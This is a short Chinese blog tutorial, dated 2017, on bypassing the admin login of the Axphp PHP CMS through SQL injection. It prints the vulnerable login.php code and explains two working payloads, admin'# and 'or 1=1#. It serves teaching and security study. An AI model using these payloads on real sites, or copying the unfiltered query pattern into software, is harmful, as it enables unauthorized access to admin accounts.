来到登陆地址,login.php,我们看下这个文件的源码。

<?php
require '../config.php';
$adminname = $_POST['adminname'];
$adminpass = $_POST['adminpass'];
$adminpass .= "Axphp.com";
$adminpass = md5($adminpass);
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminery = mysql_query($adminsql, $config);
$adminnum = mysql_num_rows($adminery);
if ($adminnum == "1") {
setcookie("admin", "Y", time() + 3600, '/');
setcookie("admin_name", $adminname, time() + 3600, '/');
header("location:axadmin.php");
} else {
header("location:axphp.php");
}
?>
$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";

我们发现没有做任何过滤

我们构造一下sql语句绕过后台登陆
这里写图片描述

成功登陆后台

我们来看一下我们的payload admin’# 为什么能绕过后台登陆:

$adminsql = "select * from axphp_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminsql = "select * from axphp_admin where adminname='admin'#' and adminpass='$adminpass'";//我们构造的sql语句

‘闭合了前面的‘,#是注释,#后面的sql语句将不会执行,会执行的sql语句:

select * from axphp_admin where adminname='admin'

因为我们的账号确实是admin,所以成功登陆。

举一反三,假如我们不知道账号也不知道密码怎么构造sql语句绕过后台登陆呢?

这里先要知道一个知识点:or,只要两个条件其中一个为真即为真,举个例子:
1+1=1 or 1+1=2,为真,没毛病~~
我们来构造一下sql语句:
这里写图片描述

我们来看一下我们的payload ‘or 1=1#为什么能绕过后台登陆:

(#后面的sql语句将不会执行,会执行的sql语句)

select * from axphp_admin where adminname=''or 1=1

‘ ’ or 1=1为真

所以即使不知道账号密码我们也可以成功登陆

posted on 2017-06-13 15:04  洛神nim  阅读(187)  评论(0编辑  收藏  举报